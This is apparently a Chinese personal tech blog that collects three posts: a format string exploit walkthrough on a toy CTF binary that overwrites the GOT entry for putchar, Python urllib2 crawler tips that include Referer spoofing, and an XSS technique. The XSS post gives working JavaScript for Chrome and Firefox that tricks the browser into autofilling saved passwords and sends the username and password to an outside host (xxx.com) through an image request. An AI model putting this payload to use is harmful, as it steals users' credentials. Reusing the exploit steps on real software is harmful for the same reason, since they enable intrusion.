格式化字符串漏洞

首先上靶子程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>
void flag(){
printf("You win hiahia");
}
int main(int argc, char *argv[])
{

char test[1024];
int len=strlen(argv[1]);
strncpy(test,argv[1],len);
test[len]='\0';
printf("You wrote:");
printf(test);
printf("\n");
}

直接printf了test,这就造成了格式化字符串漏洞。

读取栈上内容

通过%x格式控制符可以读取栈上的内容。
%08x.可以让数据按8对齐。

可以利用Python来节省工作量 xxx `python -c “print ‘test’”`

1
2
nlfox@nlfox-laptop:~/ctf/formatString$ ./fmt3 `python -c 'print "%08x."*7' `
You wrote:fff9729a.00000032.001a81d4.001a81d4.00000008.0000004c.78383025.

由于存进了test数组,我们输入的内容可以在栈上读到。

1
2
nlfox@nlfox-laptop:~/ctf/formatString$ ./fmt3 AAAA`python -c 'print "%08x."*7' `
You wrote:AAAAffd502a5.00000027.001a81d4.001a81d4.00000008.0000004c.41414141.

0x41414141就是我们输入的AAAA。

介绍一个字符$可以读取指定偏移位 且栈顶指针不动。
%7\$n可以直接读到0x41414141

任意地址写任意内容

利用%n控制符,可以将之前输入的长度给写入对应地址.

1
2
nlfox@nlfox-laptop:~/ctf/formatString$ ./fmt3 AAAA`python -c 'print "%7\$n"' `
段错误 (核心已转储)

0x41414141处写入4.因为0x41414141不是可以随便访问的地方,所以引起一个SegmentFault
自然就可以想,要写入东西,只要把地址转成10进制.比如0x08236009就是136536073
然后就可以写%136536073x来写入了…
你现在可能觉得自己很机智….
但是….136536073个空格光跑就跑半天…搞不好还跑挂了….
所以有一种新办法…
原理不多说,就是一位一位写,多的去覆盖…写了脚本来代劳…

1
2
3
4
5
6
7
8
9
10
11
12
13
def getPadd(write_byte,already_written):
write_byte += 0x100
already_written %= 0x100
padding = (write_byte - already_written) % 0x100
if padding < 10:
padding += 0x100
return padding
write_byte = [0xad, 0x84, 0x04, 0x08]
written = 16
for i in range(len(write_byte)):
paddLen=getPadd(write_byte[i],written)
written+=paddLen
print '%'+str(paddLen)+'x'

假定你之前想要写入的是0x080484ad…而已输出的长度的是16
这样一字节一字节写…

跳转到我们想要的地址(待补充)

1. 覆盖GOT表指针

objdump --dynamic-reloc fmt3

1
2
3
4
5
6
7
8
9
10
11
12
13
nlfox@nlfox-laptop:~/ctf/formatString$ objdump --dynamic-reloc fmt3

fmt3: 文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a00c R_386_JUMP_SLOT printf
0804a010 R_386_JUMP_SLOT __gmon_start__
0804a014 R_386_JUMP_SLOT strlen
0804a018 R_386_JUMP_SLOT __libc_start_main
0804a01c R_386_JUMP_SLOT putchar
0804a020 R_386_JUMP_SLOT strncpy

可以打印出调用…
这个程序有一个特点…就是单字printf会被优化成putchar…
所以我们找到putchar并且覆盖即可…
所以我们要写啥呢?调用的flag()函数…
gdb 跑起,然后print地址

1
2
3
4
5
组合起来
```
nlfox@nlfox-laptop:~/ctf/formatString$ ./fmt3 `python -c "print '\x1c\xa0\x04\x08'+'\x1d\xa0\x04\x08' + '\x1e\xa0\x04\x08' + '\x1f\xa0\x04\x08' + '%248x%7\\$08x'+'%252x%8\\$08x'+ '%128x%9\\$08x' +'%41x%10\\$08x' "`
```
确认四个写入点没错,就把x改成n吧

1
2
nlfox@nlfox-laptop:~/ctf/formatString$ /home/nlfox/ctf/formatString/fmt3 "`python -c \"print '\x1c\xa0\x04\x08'+'\x1d\xa0\x04\x08' + '\x1e\xa0\x04\x08' + '\x1f\xa0\x04\x08' + '%157x%7\\$08n'+'%215x%8\\$08n'+ '%128x%9\\$08n' +'%260x%10\\$08n' \"`"
You wrote:���� ffbce259 3d 1a81d4 1a81d4You win hiahia

成功~

参考教程:
https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf
http://www.exploit-db.com/docs/28476.pdf
http://www.syjzwjj.com/?p=1570

1. urllib2

启用gzip很重要

带着Accept-encoding:gzip头的数据会被gzip压缩
压缩比率达70%以上,加入gzip能极大地加快速度。

1
2
reqArtList=urllib2.Request(url='https://medium.com/channel/tech?limit=100')
reqArtList.add_header('Accept-encoding', 'gzip')

返回的数据需要特殊处理。

1
2
3
4
5
6
7
def unGz(str):
from StringIO import StringIO
import gzip
buf = StringIO(str)
f = gzip.GzipFile(fileobj=buf)
data = f.read()
return data

关于防盗链

一般都是通过Referer,来判断
扔一个Referer就能避开这种过滤。

1
2
3
headers = {
'Referer': 'https://medium.com/'
}

2. 队列管理

处理超时

我们可以利用urllib2里面自带的timeout选项设置异常。
一旦请求超时就会raise一个Exception
到时候捕获Exception再重新扔回队列就OK了。

1
2
3
4
5
6
try:
resGz=urllib2.urlopen(request,timeout=4).read()
except Exception, e:
self.taskQueue.put(itemLink)
print 'retry'
continue

XSS中获取浏览器获取保存密码新解

过去有一种获取保存密码的js代码,但是现在已经完全不能用了。这里给出改进。

Chrome

IFrame内获取保存密码

首先在Chrome里,IFrame里面的保存密码需要选择条才能自动填充。
所以我们要使用window.parent来跳出iframe。

1
2
3
var f = document.createElement("form");
f.style.display = "none";
window.parent.document.getElementsByTagName("body")[0].appendChild(f);

这样才能骗Chrome来自动填充密码。

网络状态:Canceled

一般使用生成一个Image对象来进行跨域cookie传递。
但是由于这种方式等于生成了一个无用的对象。
Chrome似乎是为了性能优化而自动cancel掉这类网络请求(排查这个问题花了我很长时间)。
至于解决,只需要把这个Image对象设置display=none然后随便找个地方append掉即可。

1
window.parent.document.getElementsByTagName("body")[0].appendChild(newimg);

限制:用户交互

在测试中发现,能开开心心地获取用户名,但是密码永远是空。
说明Chrome在此做了一些规则来保护。
对此,没有什么好的绕过办法。
我想到的是:
我们可以先禁锢一次用户操作。
仅一次的话,相信能觉察出异常的用户并不会很多。
但是毕竟也是不够好的地方。假如有人研究出了更好的办法,希望能够告诉我。

1
2
3
4
5
6
7
8
9
10
window.parent.onclick=function() {
if (window.parent.xxx!=1) {
window.parent.username = window.parent.document.getElementsByName('USERID')[0].value;
window.parent.password = window.parent.document.getElementsByName('PASSWD')[0].value;
window.parent.xxx = 1;
var newimg = new Image();
newimg.src = "http://xxx.com/test.php?usr=" + window.parent.username + "&psw=" + window.parent.password;
window.parent.document.getElementsByTagName("body")[0].appendChild(newimg);
}
}

如何限定一个操作只执行一次

很多网上文章给出的解决办法是加Cookie里面。
但是这种方法有着弊端,更改Cookie有可能会被发现或者触发一些web程序隐藏的bug。
但是也有它的好处,即稳定性。
我的办法是给window对象加属性来计数。

1
2
3
4
5
6
7
8
9
10
11
12
if (window.parent.xxx!=1){
window.parent.onclick=function() {
if (window.parent.xxx!=1) {
window.parent.username = window.parent.document.getElementsByName('USERID')[0].value;
window.parent.password = window.parent.document.getElementsByName('PASSWD')[0].value;
window.parent.xxx = 1;
var newimg = new Image();
newimg.src = "http://xxx.com/test.php?usr=" + window.parent.username + "&psw=" + window.parent.password;
window.parent.document.getElementsByTagName("body")[0].appendChild(newimg);
}
}
}

Firefox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(function() {
var f = document.createElement("form");
f.style.display = "none";
document.getElementsByTagName("body")[0].appendChild(f);
var e1 = document.createElement("input");
e1.type = "text";
e1.name = "USERID";
e1.id = "1";
f.appendChild(e1);
var e = document.createElement("input");
e.name = "PASSWD";
e.type = "password";
e.id = "2";
f.appendChild(e);
setTimeout(function() {
username = document.getElementsByName('USERID')[0].value
password = document.getElementsByName('PASSWD')[0].value
var newimg = new Image();
newimg.src="http://xxx/test.php?usr="+username+"&psw="+password;
},
3000)
})
();

相对来讲改变并不大,只是在获取元素的结果变成数组,取第一项即可。